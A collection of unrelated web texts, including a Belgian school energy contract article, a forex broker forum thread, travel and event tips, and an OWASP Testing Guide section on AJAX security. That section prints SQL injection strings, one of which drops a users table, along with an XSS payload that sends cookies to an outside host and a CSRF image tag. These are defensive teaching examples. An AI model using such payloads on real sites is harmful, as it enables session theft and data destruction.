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Back to class for ENGIE at 27 schools in Liège
It's almost time to go back to school. And not just for pupils! ENGIE Cofely is also heading back to the classroom and already has its first homework assignment: it must improve the energy efficiency of 27 municipal and provincial schools in Liège. A total of 50 buildings! A first in Belgium.
Heating and electricity are a money sink for schools. Managing consumption more efficiently is no longer an option. Not just to save money and boost comfort, but also to make heads and pupils more aware of today's energy challenges.
RenoWatt, a pilot project for the energy renovation of public buildings, has been launched in the Liège region. In joining the project, municipal and provincial schools have shown they are committed to cutting their energy bill and therefore consumption, as well as reducing their CO2 footprint. To that end, ENGIE Cofely – a leader in the energy transition and energy efficiency solutions – signed an energy performance contract (EPC) to renovate and maintain 50 buildings across 27 schools. The EPC is a first for schools in Belgium.
Smart heating and lighting
The work implemented by ENGIE Cofely will make it possible for schools to cut their energy consumption by 12 to 53%. The actual work will start in summer 2018 during the break.
The project will include installing heat pumps, replacing windows with high-performance double glazing, insulating roofs and external walls, and installing photovoltaic panels and cogeneration units.
Some schools will also benefit from smart lighting, which means lights will no longer be left on in the evening or during weekends. Lighting will be programmed according to class schedules. The system will include presence detectors and daylight detectors, so that lights turn on and off according to relevant indicators.
Systems for managing technical facilities will also be deployed, making it possible to more finely control heating as dictated by requirements, such as building occupancy and outdoor temperature. Parent meeting scheduled for the evening? The school head can programme the system so that the heating is only on for the duration of the event.
Watch out for poor report cards
The energy performance contract is an increasingly popular way of cutting energy use. ENGIE Cofely will deploy its expertise and manage the project from start to end. It will also maintain the facilities for 15 years, handle preventive maintenance and suggest areas for improvement for the entire duration of the contract. To that end, ENGIE has also promised to train and employ local labour and to respond within one hour in the event of a breakdown.
Besides, ENGIE Cofely guarantees a drop in energy consumption for 27 schools in Liège. If it does not achieve the target of reducing consumption by 30% on average, it will have to pay the difference. If the reduction is more important, the bonus will be divided. In other words, a good report for everyone!


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yeah i got the same email, could this be a exit like tallinex did? if so what will they do with there u.s. clients
I also got the same email, and replied, requesting clarification. I was, however, thinking in another direction. I think FXChoice will continue to be open for anyone that wants to trade through them (Including U. S. based trader, and the EU company will be for EU based traders that want EU regulation. That's my opinion, for now. We can check with them Sunday night or Monday.
Got a message on Linkedin this morning after reaching out to someone at Finpro Trading UK stating that they should be regulated in 2018. Someone by the name of "Kshitij Chopra" stated "regulation is almost at completion state. Will be a reality soon in 2018." I've been interested in Finpro even though they aren't regulated, but I thought I would post it here since I found them from this thread.
Hello aaceofspades,
We would like to inform you and all of those concerned, that FXChoice is doing just fine and is not "getting ready to shut down" as you have commented. Simply, we are offering our EU clients the possibility to switch over to EBH (European Brokerage House) which is registered and regulated in the European Union, providing benefits such as:
• Compliance with strict EU regulation
• Enhanced fund security
• Complete transparency
FXChoice is continuing business and accepting International clients in the same way as before.
Should you have any questions, please feel free to contact us.
Kind regards,
The FXChoice Team
thank you, i can sleep much better now
Yeah, I have to agree with trusting in Pax Forex as well. Have been with them for some time myself. So far only 2 test withdrawals nothing serious. But they did go through swift & flawlessly. Customer Service seems to bend whenever possible to the satisfaction side even in the greyish areas. Meaning if it doesn't exactly fit site guidlines but makes common sense they'll get it done. Just takes a couple lines in an email. They also seek suggestions at every opportunity. This US domiciled resident is quite pleased with Pax.
EVOLVE.MARKETS and other BitCoin funded Brokers
The Frenzy in BitCoin has meant I am reluctant to purchase
BitCoin to increase funding in Evolve.Markets or other
BitCoin denominated brokers…
As I write this, BTC is about $17,500 … Scary. But, along with
others, I hope this is a sign that BTC is "maturing" and we know
that CBOE now has a Futures Contract on BitCoin, as I understand
Totally agree with both your observations. BitCoin is maturing and its expensive. In current situation FinPro is still my favourite because I can fund the account with bitcoins while keep my account in USD so I dont have any irsk to BTC price fluctuation.
However, the best situation will be to have a broker who can let us deposit via Bitcoins, Etherum, LiteCoin, Ripples among other coins and also allow to change the account denomination into other currencies as and when required. I have been searching around but will not much luck. Will be happy to know if anyone knows any such broker yet. I will share if I find such a combination.
The European Securities and Markets Authority (ESMA) intends to further restrict retail trader access to CFD's and spot forex, and to ban altogether retail trading of binary options.
In particular, notice the threatened leverage restrictions in the Statement reproduced below.
ESMA continually uses the phrase "CFD's including rolling spot forex". Rolling spot forex is the technical term for our spot forex market – and, although we normally don't consider our trades to be CFD's, ESMA clearly does.
This move by ESMA is just the latest attempt by nanny government bureaucrats worldwide to eliminate the retail trading of products they deem to be too risky for us little folks.
Soon, retail forex traders in Europe will need a thread like this one to help them make their escape from the Euro Nanny State.
Here is the ESMA statement:
Our beloved CFTC has added Capital City Markets to their so-called RED List.
The RED List is the CFTC's list of forex brokers (and some other entities) which are outside the U.S., and beyond the reach of the CFTC, which nevertheless are suspected of doing business with U.S. clients – gasp !!
This brings to 4 the number of brokers on our Offshore Broker List that the CFTC has singled out for this special recognition. The other three are Trader's Way, FX Choice, and Finpro Trading.
Our congratulations to Capital City Markets for earning this prestigious award.
If you like reading CFTC press releases – and, who wouldn't want to waste a Friday evening doing that? – then this will give you a thrill:
Hi Clint,
[EDIT] Disregard this post. I got confused, in a rush…
On the press release link for the RED list, I did not see FinProTrading ?
R U Sure? Is it under another name?
Thanks for all this great work !!
Do you think it's a "Nanny State" issue @Clint or do you think it's an attempt to keep us as wage slaves ?
After all - if we all became "Traders" - then who is gong to "Work the fifty to get two weeks off ? "
This is a very long discussion topic, you have to know if you enter the market is to train as such, not to play!
Has anyone heard of any followup on these campaign promises of Trump
to ditch the retail FX regulatory overreach ??
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Has anyone heard of any followup on these campaign promises of Trump
to ditch the retail FX regulatory overreach ??[/quote]
I can't make sense of that article, published by Finance Magnates on April Fool's Day 2016.
If Trump actually said this –
"I say we have to license all binary options and forex brokers that are willing to operate in the U.S. legally, but we also have to build a firewall to block all unregulated companies from accepting deposits. Canada is going to pay for it, cause they have a similar problem."
And then there's the last line in this article –
"Unfortunately for many of us, this article is purely the byproduct of a fictional scenario which could unfold only if the current republican frontrunner becomes president of the U.S. – Happy April Fools' Day."
Was this whole article supposed to be a joke? If so, it shows the hazards associated with trying to tell jokes in a language that's not your first language.
It's been a while since I've checked in here, but I thought I would post a quick update on LMFX. Up until this point I've been happily trading with them. However, due to the super-low commissions at FinPro, I've been trying to transfer a large portion of my funds out of LMFX to use at FinPro, which would save me hundreds of dollars per month. Now I'm sitting here 24 days after having my wire transfer request approved by LMFX, and zero funds have arrived at my bank yet. LMFX support remains communicative but ultimately unhelpful. So far I've been impressed with LMFX operations, but those good feelings have rapidly deteriorated. If I ever do receive my funds, the prospect of waiting weeks for withdrawals makes me loathe to continue business here. I am also worried about the remainder of my funds at LMFX and if I will ever have a chance to successfully withdraw those.
Has anybody currently with LMFX been able to successfully withdraw funds from their account?
Thank you Clint.
Methinks I may have wasted your tyme !..
Is there any way we can "keep hope alive" for a lessening
of the current restrictions on U.S. persons ??
Capital City Markets Update.
My bank recently got back to me literally after 2 whole months an says its been too long and they can not help . I spent hours going through all the info with my bank manager and the fraud department . I went or called weekly until the head of the fraud department told me these things take time and to be patient , I believed those liars until today.
I would like to hear if any one has reached out the Payment Provider that CCM says is the thief of all our funds ? I would like to consider also multiple class action law suits and would like to hear back to my personal email to go in depth on how to proceed . By the law we have 1 year to go after our stolen funds , our banks , Visa etc. ------------------------ In new light I also understand that the bank and Visa are charged with the responsibility to keep our funds safe at all times and they have to prove they did , and they did not.
If a merchant refuses to refund your money, your issuer may turn it back to you. If you believe the merchant is wrong and your complaint is valid, don't take no for an answer.
"A lot of people just give it up," Sherry says. "The issuer may come back to you and say, 'The merchant said X, we can't give you the chargeback.' But that's not a time to give up, that's the time to get your dukes up and go in for another round because the merchant may be saying something that's false. Any proof you can bring to bear at that point will help."
Being the forefather of this category is there any agency you might suggest in going forward to recoup our thefts ? I know we have Forex Peace Army to post on which I am about to do .The only reason I stupidly waited was because I believed my bank had it under control , big wake up call .
"…each individual bitcoin transaction uses almost 300KWh of electricity – enough to boil around 36,000 kettles full of water."
Gosh, and we know there are scalability issues with BitCoin transaction rates which are being severely stressed during the current frenzy…
Thanks for that @HyperScalper - I've nicked this for my thread "Bitcoin to fall off a cliff ? " - hope you don't mnd
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Testing for AJAX Vulnerabilities (OWASP-AJ-001)
OWASP Testing Guide v2 Table of Contents
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include
- Create a larger attack surface with many more inputs to secure
- Expose internal functions of the Web application server
- Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms
- Login Information and Intrusion Detection
Attacks and Vulnerabilities
XMLHttpRequest Vulnerabilities
AJAX uses XMLHttpRequest(XHR) object for all the back-end work. A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.
Increased Attack Surface
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.
SQL Injection
SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database.
A typical SQL Injection attack could be as follows
- Example 1
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.
- Example 2
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;
The above query helps in dropping all the tables and destructs the database.
More on SQL Injection can be found at SQL Injection (OWASP Testing Guide v2).
Cross Site Scripting
Cross Site Scripting is a technique by which malicious content is injected in form of HTML links,Javascripts Alerts or in form of error messages. XSS exploits can be used for triggering various other attacks like cookie theft, account hijacking, and denial of service.
such as cookies to the request. JavaScript code can then access the response to this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site
Scripting (XSS) attack.
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods to propagate itself invisibly to the user.
- Example
<script>alert("howdy")</script> <script>document.location='http://www.example.com/pag.pl?'%20+document.cookie</script>
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.
Client Side Injection Threats
- XSS exploits can give access to any client-side data and can also modify the client-side code.
- DOM Injection - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)
<SCRIPT> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT>
- JSON/XML/XSLT Injection - Injection of malicious code in the XML content.
AJAX Bridging
For security purposes, AJAX applications can only connect back to the Website from which they come. For example, JavaScript with AJAX downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection. An attacker could use this to access sites with restricted access.
Cross Site Request Forgery(XSRF)
<IMG SRC="http://example.com/cgi-bin/ouch.cgi?a=b">
Browser Based Attacks
The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.
Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.
Major Attacks
MySpace Attack
The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In Samy attack,the XSS Exploit allowed <SCRIPT> in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user "Samy" to their friend list.It also appended the words "Samy is my hero" to victims profile
Yahoo! Mail Attack
In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.
OWASP Testing Guide sections on AJAX Testing provides you a very good information on various aspects of AJAX Testing.
4.9 AJAX Testing
4.9.2 How to Test AJAX
Testing Tools
Here are some of the AJAX Testing Tools
Ghost Train
Scriptaculous's Ghost Train is a tool to ease the development of functional tests for web sites. It's a event recorder, and test generating and replaying add-on you can use with any web application.
Squish/Web (froglogic)
Squish is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.
- Whitepapers
- Billy Hoffman, "Ajax(in) Security",SPI Labs
- Billy Hoffman, "Analysis of Web Application Worms and Viruses",SPI Labs
- Billy Hoffman, "Ajax Security Dangers",SPI Labs
- Articles
- Jesse James Garrett. "Ajax: A New Approach to Web Applications", Adaptive Path
- Amit Klein. "DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS", Web Application Security Consortium
OWASP Testing Guide v2
Here is the OWASP Testing Guide v2 Table of Contents


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Several months ago a lawsuit was filed by several ex-NFL players alleging that the NFL provided prescription pain medications illegally and helped to contribute to several prescription drug addictions. After the lawsuit was made public, the government got involved. Federal agents are now looking into the allegations. The FBI is concerned about reports that players say they were given painkillers without a prescription and not told about the harmful effects of taking pain medications. They are also concerned that many players are saying that instead of receiving the medical attention they needed they were just given painkillers and sent back on the field.
"We are pleased to learn that the DEA and United States Department of Justice are also taking our clients' allegations seriously and are actively protecting the welfare of NFL players" explained Steve Silverman an attorney representing some of the players in the lawsuit. Silverman is also excited that the Feds are investigating the NFL because it may provide the prosecution with evidence that wasn't otherwise available to them when filing the lawsuit.
A DEA spokeswoman commented that they were unaware of any prescription painkiller abuse in the NFL prior to the lawsuit being filed. She went on to say that the DEA is interested in looking into the case further because they are concerned with the growing number of people addicted to painkillers and the link between painkillers and heroin abuse.
The lawsuit filed by the ex-NFL players was the second lawsuit filed that falls under the broader problem of long-term health complications experienced by players after their careers ended. There is a growing concern among league members that NFL executives do not take care of their players when it comes to health problems sustained from participating in the tough game. The first lawsuit alleged that the NFL did little to protect the players from brain damage received during play.
Now that the DEA has come on to investigate the NFL, many are wondering what sort of evidence they will find involving prescription drug abuse. Players, lawyers and fans are all waiting to see the outcome. Hopefully any wrongdoing can be corrected and those suffering in addiction can find the help they need through effective treatment programs.


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Give thanks to the Holy One,
Give thanks because He's given Jesus Christ, His Son.
And now let the weak say, "I am strong,"
Let the poor say, "I am rich
Because of what the Lord has done for us."
Give thanks! (Henry Smith)
"I predict a full recovery," chirped his girlfriend.
George suffered from Medical Student's Disease. People studying to be physicians and nurses quite often get Medical Student's Disease. Their textbooks and lectures spotlight irregular heartbeats, swellings, and pallid skin. And sure enough, George found these symptoms in himself!
English majors can acquire their own version of Medical Student's Disease. Such a housemate one autumn became obsessed with foreshadowing. When someone spilled milk at breakfast, Marv speculated that a Big Revelation would come later. Did his basketball game go well? This, he forecast, meant that he would also slam dunk his next paper.
Surge Bible studies recently have asked the question, "What does this tell us about God?" This question usually is worthwhile. However, as with Medical Student's Disease and Foreshadowing Syndrome, we should be wary of seeing what we want to see, whether less or more than the intended meanings.
Around the year 231, a Christian scholar named Origen recommended asking of every scripture passage these three questions:
- What is the literal meaning?
- What is the symbolic meaning?
- How should I apply this in my life?
Today, we tend to stick to the literal meaning and application. But once, symbolic explanation ruled—for better or worse. Origen demonstrated this kind of Bible interpretation throughout his Homilies on the Gospel of Luke. For example, here is how Jesus first told the story of the Good Samaritan in Luke chapter 10:
Concerning the Samaritan, Jesus concluded, "Go and do what he did!"
Simple application was not enough for Origen. He explained that there is more in this story than meets the eye:
"Jerusalem is paradise, and Jericho is the world. The robbers are hostile powers.
The priest is the law, the Levite is the prophets, and the Samaritan is Christ.
The wounds are disobedience. The beast is the Lord's body. The stable, which
accepts all who wish to enter, is the church. The two denarii mean the Father
and the Son. The manager of the stable is the head of the church, to whom its
care has been entrusted. The fact that the Samaritan promises he will return
represents the Saviour's second coming."
By the 400's, you were not hearing a good sermon unless it found symbols in every phrase of a Bible verse. A preacher in France named Caesarius left a sermon on David and Goliath, observing, "Jesse his father sent David to search for his brothers, and God sent his only-begotten Son." That would preach today.
But Caesarius was just warming up. The ten cheeses David brought? "The ten commandments, which bound us to the Law!" The valley where David met Goliath? "This world, where Christ faced the devil!" David's critical brother Eliab? " The Jewish people, who jealously slandered Christ the Lord!" Caesarius surely felt he had slacked if he failed to insult Jews.
Luther, Calvin, and other reformers could not entirely break from the fun of allegorizing. But they generally concluded, whoa, this has gotten out of hand. The practice of finding allegories had mutated from pious meditation, to distraction from the simple meaning, to contrived nonsense. Sometimes, a cheese is just a cheese.
"According to an ancient tradition, one can distinguish between two senses of Scripture: the literal and the spiritual, the latter being subdivided into the allegorical, moral, and anagogical senses. …
"The literal sense is the meaning conveyed by the words of Scripture and discovered by exegesis, following the rules of sound interpretation: All other senses of Sacred Scripture are based on the literal.
"The spiritual sense. Thanks to the unity of God's plan, not only the text of Scripture but also the realities and events about which it speaks can be signs. 1. The allegorical sense. We can acquire a more profound understanding of events by recognizing their significance in Christ; thus the crossing of the Red Sea is a sign or type of Christ's victory and also of Christian Baptism. 2. The moral sense. The events reported in Scripture ought to lead us to act justly. As St. Paul says, they were written "for our instruction". 3. The anagogical sense (Greek: anagoge, "leading"). We can view realities and events in terms of their eternal significance, leading us toward our true homeland: thus the Church on earth is a sign of the heavenly Jerusalem."
The Vatican statement commends what many Reform Christians approve: The words of scripture have only one meaning, period. However, some events and objects recorded in scripture are not just historical, but also are God's show and tell:
"The law is only a shadow of the good things that are coming—not the realities themselves.
For this reason it can never, by the same sacrifices repeated endlessly year after year, make
perfect those who draw near to worship… we have been made holy through the sacrifice of
the body of Jesus Christ once for all." Hebrews 10
The question to ask: Is each event in scripture an object lesson, a shadow, a sign for the observant?
Certainly one can draw application from events in the Bible, such as the rebellions against Moses:
"Now these things occurred as examples to keep us from setting our hearts on evil things as they
did. … We should not test Christ, as some of them did—and were killed by snakes. And do not
grumble, as some of them did—and were killed by the destroying angel." 1 Corinthians 10
Application requires discernment. Just because one suffers a calamity does not mean God is punishing him or her. Joseph ran from an affair, and was thrown in jail. Jeremiah spoke truth to power, and was thrown in jail. Jesus raised the dead, and was thrown in jail. Peter healed a man, and was thrown in jail. Paul preached the gospel, and was thrown in jail.
My med student roommate George finally found that his palpitations were better explained by a combination of not enough experience and too much coffee. He healed, and became a healer. Likewise, my English major friend Marv stopped seeing falling leaves as prompts for despair. Perhaps it was the trick endings of O. Henry that restored him, perhaps it was a girl. The world lost an oracle and gained a professor of English. Marv has since authored illuminating books on prayer, C.S. Lewis, and various literary subjects.
Where your treasure is, there will your analogy be also.


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Hey, gang!
This week's Kickstarter Game of the Week is Hero's Crossing! I've been following the development of Brian's game for awhile now, and I'm so excited to see the game's already hit its funding goal on Kickstarter and is moving onto some really exciting stretch goals!
The gameplay for Hero's Crossing is based around building your own "town" out of tiles. It's up to each player to build their town that produces the right balance of resources so you can outfit individual heroes with just the right gear they need, and in doing so, score victory points. Basically, if you've ever wanted to run your own video game town in a game like Final Fantasy, then Hero's Crossing is right up your alley!
One of the coolest things about the gameplay is that–despite the game using dice to perform your actions–there's a mechanic which allows you to steal your opponents' dice! (For a price, of course.) Check out a brief rundown on more of the game's mechanics here:
You'll notice by looking at the artwork for the game that there's a variety of 8-bit style, 16-bit style, and 32-bit style. This is teutally 100% intentional, as the artwork evolves along with the grade of hero and town tiles(!) Not only is that super innovative, but it looks great on the table as well, since players can quickly understand the level of something just based on how it looks.
I'm a huge fan of bit art in general, and this game sets a high bar. Not only is the art top-notch, but the style looks just like a tabletop version of a fantasy video game. Even the graphic design elements look like video game menus and icons. Its this attention to detail that really drew me into the world of the game.
If you're into any of the following things, then you should
probably definitely go check out Hero's Crossing on Kickstarter:
- resource management
- city-building
- meeples
- dice
- bit art
- video games
- having fun
So, uh, I guess that means pretty much all of you should swing on by the campaign and give it a gander. I know Brian would appreciate it! As of writing this, Hero's Crossing has got just 15 days to go, so time's running out! (C'mon, Tactics mode stretch goal!)
Until next time, gang. Keep it plucky,


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Planning to drive in Portugal? You now need an electronic device loaded with pre-payment on some sections of motorway. Temporary devices are available for €27 and top it up with deposit of €10 payments which expire after 90 days. You can get it at motorway service areas or post offices. If you're renting a car, best check whether it is fitted with such a device already. Alternatively you could just avoid the following stretches:
Norte Litoral - A28: Auto-estrada do Litoral Norte (Littoral North-highway - between Porto and Vilar de Mouros/Caminha)
Grande Porto - - A4: Porto/Amarante-highway (between Matosinhos and Águas Santas); A41: Circular Regional exterior do Porto (Porto Regional Outer Circular); A42: Alfena-Lousada-highway
Centro - A17: Littoral Center-highway (between Mira and Aveiro); A25: only on the sections between Esgueira and Angeja (Aveiro area); A29: Auto-estrada da Costa de Prata (Costa de Prata highway between Estarreja and Vila Nova de Gaia).


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It's all in a day...
Today the air quality is very poor. My eyes are stinging and my throat and lungs are burning from all the smoke in the air the last few days. I feel a bit like I am choking. It is the hot, dry season so there is virtually no air movement, no rain and so the exhaust fumes from the heavy traffic and the smoke from the fires all just sits over and around us. It is a bit oppressive today and I am feeling like I want to move away from it only there is nowhere to go.
I spent a bit more time in the pediatric cancer ward at the hospital yesterday. It is so hard to see. There are at least two children to a bed and the families sleep with them and on the floors near the beds. There is no air conditioning or fans like in the hospitals at home so the air is hot and thick. These wards are just big concrete rooms with several rows of cots in them. The windows are open but often covered so the children can try to sleep. The smells are potent and it is difficult to pretend not to notice and smile and offer comfort with your eyes. I try to keep my eyes free of shock, pity, fear or any other unhelpful or condescending emotion. I am really trying to learn to offer help with grace, to not feel separate from what I am seeing but a part of it. To learn to inhabit this world and be at peace with it. I think that is the only place from which I can help.
I went to visit a non-profit organization yesterday. It was amazing and so inspiring! The most exciting part is that now I know I can make my non-profit work, I know it is possible to do. There is still a lot I need to work out but I am so excited about it. I have found several resources here that are willing to offer support and guidance and that is huge! I have also come to the decision that I want/need a partner based in the US to work with me. The lady I spoke with yesterday has two partners in the US and I think that is the way to go. So, now I am going to have to go on a hunt to see if someone is interested in working with me from their home. I am SO excited.
A cockroach ran over my foot as I was drinking my morning coffee. I am going to have to learn to make friends with bugs. There is just no getting around it. No matter how clean your house, they are still there. They are everywhere. As a pampered girl, I generally associate them with camping or uncleanness; they are just a fact of life here.
Ok, I had accepted the fact that power goes out here frequently which I hate but as I said have come to terms with. I was prepared for it. There are mandatory rolling power outages here; generally every other day you have no power. You can buy a battery thing that will give you extra power, maybe 6 hours worth so you only loose maybe ½ day. So, it is not too great but not the worst thing either. However, this morning we woke up to no water, only to find that this is not too uncommon either. Water is a MUCH bigger deal to me, no shower, no toilet. YIKES!!! It is too hot and too dusty not to shower every day. In fact, showering feels sooooo good here ☺
This afternoon was my first moment of really feeling some fear about my ability to live here. We were driving to the CDC for T to have a meeting. I went because their location is on a hill over looking Lake Victoria. T told me it is a beautiful spot and the drive would afford me new views of the countryside, old Kampala and the villages along the way.
As we were headed out of town on one of the busiest streets in Kampala there was a man sitting naked in the street, scooting himself along the ground slowly through a busy round-about and looking ill either physically, mentally or both. It was so sad to see and I was terrified he was going to be hit. I guess it must be relatively common because no one seemed to be paying any attention to him or offering to help him out of the middle of the street. I was shaken and sitting in the car thinking about him and feeling guilty and awful when we were stopped by one of the few lights in town.
I noticed a woman sitting in a chair on the side of the road with a small infant in her lap. We were in a SUV and obviously Misungus (foreigners). She looked at us with an expression of both boredom and something between indifference and dislike. She stood up and casually swung the infant up by one of its arms and walked toward the car. She stood next to my window and held the baby up to me, gesturing to her mouth and holding out her hand for money. The baby had a head wound that was healing and didn't seem to be well cared for. I wanted to give her something but both T and our driver told me no. That only encourages the behavior and it isn't really helpful. It was the longest red light of my life! I kept looking into her eyes and looking at the baby and I felt small, powerless, and guilty for not being born into her situation. She didn't even try to approach the men in the car; she was appealing to me as a woman. My heart was aching for the baby, which she didn't really seem to have much regard for, it was almost as if she was just using it as a tool. Honestly, the way she swung it and held it, I don't think she was the mother.
As I waited for T to finish his meeting with the CDC, I sat on the steps and looked out at Lake Victoria and I wondered how in the world I would ever get used to the suffering and learn to set boundaries. To the mixture of emotions it brings to my heart. I have to say, it was a trip low point for me and I am still struggling with it. I hope that by starting the non-profit and working with the children, helping and making a difference I will begin to feel more at ease with refusing to hand out money as I walk down the streets.
On our drive home from Entebbe there was an accident, which has dramatic effects on already bad traffic. It took 3 hours to go 4 km!! You can't get out and walk because there are no sidewalks and the traffic is very dangerous. It is even more stressful because people start yelling and hitting the car in frustration. I could feel the tears that had been threatening throughout the day stinging my eyes.
We finally got to our destination and met some friends for dinner and DRINKS, which helped sooth my frayed nerves. After dinner I started to get really ill and as we had no water it was a problem. I am still shaky and nauseous as I write this but it is a new day. It is day 5 and I am hoping it will be a better one. I woke up to running water and had a shower and a bug-free morning coffee. It is a better day already!


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Eclipse in Lane County: tips for your safety on August 21 2017. by Pat Farr
Eclipse tips for Lane County residents
Lane County is gearing up to help residents and visitors make the most of the 2017 solar eclipse on August 21st!
"With much of Lane County at or close to ninety-nine percent totality we have a great opportunity to view the eclipse without fighting traffic and the risk of being stuck on the road during the event," said Lane County Emergency Manager Linda Cook. "We encourage residents to enjoy the eclipse from a location near them – a backyard, balcony or similar place can provide a great and convenient view."
Tips for Lane County residents during the eclipse:
• Consider the eclipse a multi-day event with increased traffic and visitors between August 16 and August 23.
• We are on the "path to the path" of totality. Roads on and off major highways might be busier than usual August 16–23 so be sure to pack your patience!
• Keep your cool and be kind in crowds and traffic. It's sort of like a busy holiday that only comes once every 100 years or so. (The next total solar eclipse to cross Oregon will happen in 2169!)
• Don't get stuck! Bypass the lines by filling up your gas tank and grocery shopping early in the week before the eclipse.
• Be patient with the internet, the ATM and your cell phone. With the increased number of visitors, internet and cellular service may become slow or overwhelmed (especially on Monday).
• Don't fall for a fake: wear certified glasses made to protect your eyes from an eclipse. Learn more from NASA at https://eclipse2017.nasa.gov/safety.
Reminders for visitors during the eclipse:
• Pack ahead. Skip the lines and make food, beverage and other purchases before you leave.
• Remember cellular service is limited in much of Lane County and Oregon.
• Bring a printed map in case cellular service is slow or unavailable.
• Help keep Lane County green: If you packed it in, pack it out.
• Be water wise and carry plenty with you.
• Know the tides if you visit the beach during the eclipse. Tidal changes affect rivers too.
• Know where your safety areas are & be familiar with tsunami evacuation routes on the coast.
• Be aware of beach hazards: keep an eye on the waves & don't play on logs as they can shift and injure climbers.
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Sprays that do exciting things & other comics was a funny and original comic that made us all laugh. We loved the idea of sprays that do exciting things, and the bonus mini-comic.
Want to invent you own exciting spray? Head over to the the comic club blog for this month's Comics Challenge and a set of templates.
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Travel Tips for Visiting Bryce Canyon
Suggested Clothing
Listed below are a few items we would suggest for a trip to Bryce Canyon.
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- Pants(heavy duty for outdoors)
- Shirts(long sleeve for outdoors)
- Shoes(sport/hiking)
- Socks(cotton/wool or combination for hiking – one pair for each day)
- Sweatshirt/sweater/or down vest
- T-Shirts(long or short sleeve)
- Warm, long sleeve shirt
- Underwear / Base Layer(depends on season/altitude for warmth – 20 to 55 degree/night wear)
Listed below are a few items we would suggest for a trip to Bryce Canyon.
- Backpacksomething with a lot of pockets
- Hiking Stickgreat for walking up rivers.
- Gloves(night/morning wear)
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- Hat(sun & weather protection)
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- Bandana
- Camera
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One thing that should be at the top of any back country travel checklist is a personal first-aid kit, or a selection of medical supplies to meet emergency medical needs. What you should take will depend on who you are, where you are going and how long you will be staying. Consult your family doctor about these and any other suggestions and additional supplies you may need. We would suggest the following minimum items be considered:
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Broadway and rap aren't exactly two words one would ever really expect to hear in the same sentence, but it's happening as Holler If Ya Hear Me, the Tupac Shakur-inspired musical, hits the big stage this year, the Hollywood Reporter reports.
The new musical was written by Todd Kreidler, who warns that the show is not a Tupac biography but rather uses the renowned poetry of the great rapper and paints a picture of inner-city struggle, including major themes of friendship, revenge, change, hope and family.
The late rapper's mother, Afeni Shakur, will help produce the show. Wicked's Wayne Cilento will be handling the choreography, and Kenny Leon, known for Fences and The Mountaintop will be directing.
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Just got back from a sick day at the famous indoor ski park od dubai "ski dubai". Feelin pretty stocked i went for a 180 on the kicker first try instead of just doing a straight air first. Felt rly good so I went for a 3 witch i just got the other day. STOMPED IT! I felt like I was ready to spin of the big kicker. Starting of by doing just a straight air to get the feel. I land leaning back and as soon as my skis touch the snow they both just pop off. I eat complete SHIT. Lets just say i wuznt 2 stocked bout the hole 'spinning of the big kicker idea''When I came home from an alright day I finally ordered my LEVEL 1 things. I got a yellow 4xl tall T, Black 3xl long tall t, and a sticker pack. This made my day dopeness.. Ill post some pick when i get my shiiiz.Peace
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Legislation requiring companies to report on what they are doing to tackle modern slavery in their supply chains has been approved by the UK Parliament.
The Modern Slavery Act was granted Royal Assent by politicians yesterday, on the final day of the current Parliamentary session.
David Noble, group CEO, CIPS, said: "We welcome the passing of the Modern Slavery Act and hope it represents the first step to eradicating modern-day slavery in supply chains and to ensure this abuse comes to an end. For too long transparency in supply chains has been overlooked. We hope this new legislation will highlight the vital importance of diligent supply chain management in the UK and worldwide.
"We look forward to working with the government to ensure the provisions for supply chain transparency are as robust as possible."
